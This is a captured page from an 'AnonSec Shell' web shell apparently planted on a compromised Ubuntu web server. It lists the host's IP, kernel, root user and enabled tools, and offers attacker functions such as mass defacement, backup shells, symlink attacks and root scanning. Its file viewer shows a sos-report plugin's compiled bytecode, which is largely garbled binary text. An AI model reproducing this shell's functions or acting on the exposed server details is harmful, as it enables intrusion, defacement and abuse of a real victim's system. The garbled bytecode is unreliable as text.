AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/sos/report/plugins/__pycache__/subscription_manager.cpython-310.pyc
o

���b=�@s>ddlmZmZddlZddlmZmZGdd�dee�ZdS)�)�Plugin�RedHatPluginN)�
NoOptionError�NoSectionErrorc@s@eZdZdZdZdZdZdZdd�Zdd	�Z	d
d�Z
dd
�ZdS)�SubscriptionManagerz subscription-manager information�subscription_manager)�system�packagemanager�sysmgmt)�/etc/rhsm/rhsm.conf)zsubscription-managercCs�d}|�dd�}|r#|�dd�}|�dd�}|rd|}d|||f}|�dd�}|rA|rA|d	|7}|�dd
�}|rA|d|7}|S)N��server�proxy_hostname�proxy_scheme�
proxy_port�:z--proxy %s://%s%s�
proxy_userz --proxy-user %s�proxy_passwordz:%s)�get)�self�config�proxyrrrrr�r�I/usr/lib/python3/dist-packages/sos/report/plugins/subscription_manager.py�get_proxy_strings"�z$SubscriptionManager.get_proxy_stringcCsX|�dd�dkr
dnd}|�dd�}t|�dkrd|}d	||�dd
�||�dd�fS)Nr
�insecure�1�sr�portrrzhttp%s://%s%s%s�hostname�prefix)r�len)rr�securerrrr�get_server_url+s�z"SubscriptionManager.get_server_urlc	Cs�|�gd��|jgd�dd�|�d|���t�d�}|jdd�|D�d	d
�d}d}z,dd
lm}|�}|�|�}|�|�}d||�dd�|f}|�dd�}|rYd|i}Wn
t	t
ttfygYnw|j||dd�dS)N)z
/etc/rhsm/z/var/lib/rhsm/z/var/log/rhsm/rhsm.logz/var/log/rhsm/rhsmcertd.log)	z%subscription-manager list --installedz%subscription-manager list --availablez+subscription-manager list --all --availablez$subscription-manager list --consumedzsubscription-manager identityz#subscription-manager release --showz#subscription-manager release --listzsyspurpose showz&subscription-manager syspurpose --showT)�
cmd_as_tagzHrhsm-debug system --sos --no-archive --no-subscriptions --destination %sz/etc/pki/product-default/*.pemcSsg|]}d|�qS)zrct cat-cert %sr)�.0�certrrr�
<listcomp>Lsz-SubscriptionManager.setup.<locals>.<listcomp>�*subscription_manager_installed_product_ids)�tagszccurl -vv --cacert /etc/rhsm/ca/redhat-uep.pem https://subscription.rhsm.redhat.com:443/subscriptionr)�get_config_parserzcurl -vv %s --cacert %s %s�rhsm�repo_ca_certr
�no_proxy�NO_PROXY�)�env�timeout)
�
add_copy_spec�add_cmd_output�get_cmd_output_path�glob�rhsm.configr*rr#r�ModuleNotFoundError�ImportErrorrr)	r�certs�curlcmdr0r*rr�
server_urlr-rrr�setup5sD

��
�


���
��zSubscriptionManager.setupcCsd}d}|�d||�dS)Nz"(proxy_password(\s)*=(\s)*)(\S+)\nz\1********\nr)�do_path_regex_sub)r�	passwdreg�replrrr�postproceszSubscriptionManager.postprocN)�__name__�
__module__�__qualname__�
short_desc�plugin_name�profiles�files�packagesrr#r<r@rrrrrs
0r)�sos.report.pluginsrrr5�configparserrrrrrrr�<module>s

Anon7 - 2022
AnonSec Team